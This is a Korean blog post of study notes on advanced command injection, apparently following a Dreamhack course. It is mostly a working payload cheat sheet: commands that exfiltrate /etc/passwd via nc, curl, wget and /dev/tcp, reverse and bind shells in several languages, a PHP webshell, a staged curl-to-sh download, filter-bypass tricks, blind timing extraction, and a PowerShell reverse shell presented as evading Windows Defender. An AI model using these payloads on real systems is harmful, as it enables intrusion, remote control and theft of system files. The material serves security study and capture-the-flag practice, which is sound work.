본문 바로가기

웹해킹

Command Injection Advanced

실행한 명령어의 결과가 보여지지 않을 때 할 수 있는 공격 방법들이 있다.

<Network Outbound>

삽입할 명령줄에 네트워크 도구를 함께 실행해 자신의 서버에 명령어 실행 결과를 전송한다.  

네트워크 도구를 서버에 설치할 수 있거나 설치되었을 때 사용 가능한 방법이다.

cat /etc/passwd | nc 127.0.0.1 8000
cat /etc/passwd | telnet 127.0.0.1 8000

nc와 telnet 명령어로 실행 결과를 전송할 수 있다.

curl http://127.0.0.1:8080/ -d "$(ls -al)"
wget http://127.0.0.1:8080 --method=POST --body-data="`ls -al`"

curl와 wget을 이용해 웹 서버의 컨텐츠를 가져오면서 명령어의 실행 결과를 POST Body에 포함해 요청을 보낼 수 있다.

cat /etc/passwd > /dev/tcp/127.0.0.1/8080

/dev/tcp와 /dev/udp를 이용할 수도 있다.

 

<Reverse & Bind Shell>

임의로 실행할 명령어를 네트워크를 통해 입력하고, 실행 결과를 출력해 공격하는 기법이다.

리버스 셸은 공격 대상 서버에서 공격자의 서버로 셸을 연결하는 것을 의미하고

바인드 셸은 공격 대상 서버에서 특정 포트를 열어 셸을 서비스하는 것을 의미한다.

/bin/sh -i >& /dev/tcp/127.0.0.1/8080 0>&1
/bin/sh -i >& /dev/udp/127.0.0.1/8080 0>&1

입력한 ip주소를 가진 서버에서 8080 포트를 열고 기다린 뒤에 공격자 서버에서

$ nc -l -p 8080 -k -v
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 42202)
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

이렇게 획득한 셸을 이용해 명령어를 실행할 수 있다.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("127.0.0.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

파이썬과 루비를 이용한 리버스 셸이다.

nc -nlvp 8080 -e /bin/sh
ncat -nlvp 8080 -e /bin/sh

nc를 이용한 바인드 셸이다.

perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'

perl 스크립트를 작성해서 특정 포트를 셸과 바인딩할 수 있다.

 

<파일 생성>

애플리케이션 상에서 직접 확인할 수 있는 파일 시스템 경로에 명령어의 실행 결과를 저장한 파일을 생성하는 방법이 있다.

애플리케이션에서 이미지 파일을 "/img" 디렉터리 내에 저장한다면 명령어의 실행 결과를 "/img/result.jpg"로 저장하고 해당 경로에 접속해 명령어 실행 결과를 확인한다.

printf '<?=system($_GET[0])?>' > /var/www/html/uploads/shell.php

웹셸 파일을 업로드하는 예시이다.

프레임워크 또는 웹 애플리케이션에서는 JS/CSS/Img 등 정적 리소스를 다루기 위해 Static File Directory를 사용한다.

파이썬의 Flask 프레임워크 기본 설정에서는 Static File Directory의 이름이 static으로 설정되어 있다.

mkdir static; id > static/result.txt

static 디렉터리를 생성하고, id 명령어의 실행 결과를 생성한 디렉터리 내 "result.txt" 파일에 저장하는 명령어이다.

 

네트워크에서 방화벽 규칙으로 인해 인/아웃 바운드에 제한이 걸려 있다면 리버스 셸과 바인드 셸은 불가능하다.

이럴 때에는 참, 거짓 비교문으로 데이터를 알아내야 한다.지연 시간(sleep)과 에러(DoS)를 이용할 수 있다.

bash -c "a=\$(id | base64 -w 0); if [ \${a:0:1} == 'd' ]; then sleep 2; fi;" # --> sleep for 2 seconds; true
bash -c "a=\$(id | base64 -w 0); if [ \${a:1:1} == 'W' ]; then sleep 2; fi;" # --> sleep for 2 seconds; true
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'a' ]; then sleep 2; fi;" # --> sleep for 0 seconds; false
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'l' ]; then sleep 2; fi;" # --> sleep for 2 seconds; true

id를 base64로 인코딩하고 참이면 시간 지연을 발생시켜서 한 글자씩 값을 알아낼 수 있다.

에러를 일으키는 방법은 대표적으로 메모리를 소모하는 방법 중에 cat /dev/urandom 명령어를 실행할 수 있다.

bash -c "a=\$(id | base64 -w 0); if [ \${a:0:1} == 'd' ]; then cat /dev/urandom; fi;" # --> 500 true
bash -c "a=\$(id | base64 -w 0); if [ \${a:1:1} == 'W' ]; then cat /dev/urandom; fi;" # --> 500 true
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'a' ]; then cat /dev/urandom; fi;" # --> 200 false
bash -c "a=\$(id | base64 -w 0); if [ \${a:2:1} == 'l' ]; then cat /dev/urandom; fi;" # --> 500 true

이렇게 에러 발생 여부로 값을 얻을 수 있다.

 

입력 값의 길이가 제한된 경우에는 redirection을 이용해 임의 디렉터리에 파일을 생성하고, Bash 또는 파이썬과 같은 인터프리터를 이용해 실행할 수 있다.

printf bas>/tmp/1
printf h>>/tmp/1
printf \<>>/tmp/1
printf /d>>/tmp/1
printf ev>>/tmp/1
printf /t>>/tmp/1
printf cp>>/tmp/1
printf />>/tmp/1
printf 1 >>/tmp/1
printf 2 >>/tmp/1
printf 7.>>/tmp/1
printf 0.>>/tmp/1
printf 0.>>/tmp/1
printf 1/>>/tmp/1
printf 1 >>/tmp/1
printf 2 >>/tmp/1
printf 3 >>/tmp/1
printf 4 >>/tmp/1
bash</tmp/1&

누구나 접근 권한이 있는 tmp디렉터리에 1이라는 파일을 만들고 셸 코드를 넣는다.

그리고 "bash</tmp/1&" 명령어를 실행하면 앞서 생성한 파일을 Bash를 통해 실행한다.

 

IP 주소의 길이를 짧게 하기 위한 방법으로는 짧은 길이의 도메인을 사용하거나, IP 형식을 long 자료형 형식으로 변환하는 것이다.

#!/usr/bin/python3
import ipaddress
int(ipaddress.IPv4Address("192.168.0.13")) # 3232235533

이런 식으로 ip주소를 변환할 수 있다.

curl 2130706433|sh$(curl 2130706433)`curl 2130706433`

이런 식으로 ip를 long 형식으로 변환한 값을 전달한다.

 

공백 문자를 필터링 할 경우에는 

cat${IFS}/etc/passwd
cat$IFS/etc/passwd
X=$'\x20';cat${X}/etc/passwd
X=$'\040';cat${X}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd

이렇게 셸 기능이나 환경 변수로 우회할 수 있다.

/bin/c?t /etc/passwd
/bin/ca* /etc/passwd
c''a""t /etc/passwd
\c\a\t /etc/passwd
c${invalid_variable}a${XX}t /etc/passwd

문자열 필터링도 다양하게 우회할 수 있다.

cat 문자열을 필터링하는 경우의 우회 예시이다.

 

윈도우에서 제공하는 메타 문자와 리눅스의 메타 문자를 비교한 표이다.

리눅스와 윈도우에서 제공하는 명령어를 비교한 표이다.

윈도우에서는 윈도우 디펜더가 악성 스크립트를 감지하고 실행을 방해한다.

$client = New-Object System.Net.Sockets.TCPClient("123.123.124.124",1234);
$x = Get-Random;
if ($x -ge 1) {
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..65535|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush()
    };
    $client.Close();
} else {
    $client.Close();
}

윈도우 디펜더를 우회하는 리버스 셸 스크립트이다.

Get-Random 함수로 무작위 값을 만들고 1보다 크면 조건문 안의 셸 코드가 실행된다.

if문이 함수 실행 결과에 영향을 받는 것으로 판단하고 스크립트를 실행시켜준다.

 

ruby와 perl에서는 파일이나 하위 프로세스의 I/O를 제공하는 open 함수가 있다.

rb_define_global_function("open", rb_f_open, -1);
static VALUE rb_f_open(int argc, VALUE *argv, VALUE _) {
  ID to_open = 0;
  int redirect = FALSE;
  if (argc >= 1) {
    CONST_ID(to_open, "to_open");
    if (rb_respond_to(argv[0], to_open)) {
      redirect = TRUE;
    } else {
      VALUE tmp = argv[0];
      FilePathValue(tmp);
      if (NIL_P(tmp)) {
        redirect = TRUE;
      } else {
        VALUE cmd = check_pipe_command(tmp);
        if (!NIL_P(cmd)) {
          argv[0] = cmd;
          return rb_io_s_popen(argc, argv, rb_cIO);
        }
      }
    }
  }
  ...
}
static VALUE check_pipe_command(VALUE filename_or_command) {
  char *s = RSTRING_PTR(filename_or_command);
  long l = RSTRING_LEN(filename_or_command);
  char *e = s + l;
  int chlen;
  if (rb_enc_ascget(s, e, &chlen, rb_enc_get(filename_or_command)) == '|') {
    VALUE cmd = rb_str_new(s + chlen, l - chlen);
    return cmd;
  }
  return Qnil;
}

rb_f_open 함수와 check_pipe_command 함수이다.

함수의 인자로 전달된 문자열에 | 문자가 포함되어 있다면 인자를 반환하고

rb_f_open 함수에서 rb_io_s_popen 함수를 호출한다.

open 함수의 인자를 조작할 수 있는 상황이라면 임의 명령어를 실행할 수 있다.

이외에도 rb_io_open_generic 함수도 인자의 첫 문자가 |인지 확인하고 프로세스 생성 여부를 결정한다.

irb(main):001:0> open("|id > /tmp/1")
=> #<IO:fd 11>
irb(main):002:0> IO.read("/tmp/1")
=> "uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)\n"
irb(main):003:0> IO.read("|id")
=> "uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)\n"
irb(main):004:0> IO.binread("|id")
=> "uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)\n"
irb(main):005:0>
----
$ perl -e 'open A, "|id"'
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

ruby와 perl에서 command injection 하는 예시 코드이다.

| 문자와 함께 명령어를 실행하고 있다.

 

php에도 system 함수가 있다.

php에서는 인젝션을 방지하기 위해 escapeshellcmd 함수를 사용한다.

입력값에 포함된 메타 문자를 변경하는 경우에 커멘드 인젝션이 불가능하지만

특정 명령어의 인자로 입력값이 전달되는 경우에는 명령어의 옵션을 조작할 수 있다.

이 경우에는 escapeshellarg 함수를 이용해 명령어의 인자를 조작할 수 없게 만들 수 있다.

 

zip 명령어는 압축 파일을 생성하거나 해제하는 명령어이다.

해당 명령어의 옵션을 살펴보면, --unzip-command가 존재한다.

압축 파일을 테스트할 때 사용되는 옵션으로, 인자로 전달된 명령어를 실행한다.

$ zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c id"
updating: etc/passwd (deflated 64%)
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
test of /tmp/test.zip OK

zip을 이용한 커멘드 인젝션 예시이다.

 

python은 명령줄로 코드를 실행할 수 있는 -c 옵션이 있다.

$ python -c '__import__("os").system("id")' input.py
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

python을 이용한 커멘드 인젝션 예시이다.

 

curl은 url에 접속하는 cli 프로그램이다.

-o 옵션을 통해 임의 경로에 파일을 저장할 수 있다.

$ curl  http://dreamhack.local -o /tmp/hello.txt
Hello !
$ cat /tmp/hello.txt
Hello !

wget도 비슷하게 전달된 url에 접속해 파일을 다운로드할 수 있고 -0옵션을 사용할 수 있다.

$ wget http://dreamhack.local -O hello.txt
--2020-05-20 14:28:56--  http://dreamhack.local/
Resolving dreamhack.local (dreamhack.local)... 127.0.0.1
Connecting to dreamhack.local (dreamhack.local)|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 288 [text/html]
Saving to: ‘/tmp/hello.txt’
/tmp/hello.txt                    100%[============================================>]     288  --.-KB/s    in 0s      
2020-05-20 14:28:56 (22.9 MB/s) - ‘/tmp/hello.txt’ saved [288/288]
$ cat /tmp/hello.txt
Hello !

 

'웹해킹' 카테고리의 다른 글

File Vulnerability Advanced  (0) 2023.12.03
드림핵 Command Injection Advanced 롸업  (0) 2023.12.03
드림핵 phpMyRedis 롸업  (0) 2023.12.03
드림핵 NoSQL-CouchDB 롸업  (0) 2023.12.03
NoSQL  (0) 2023.12.03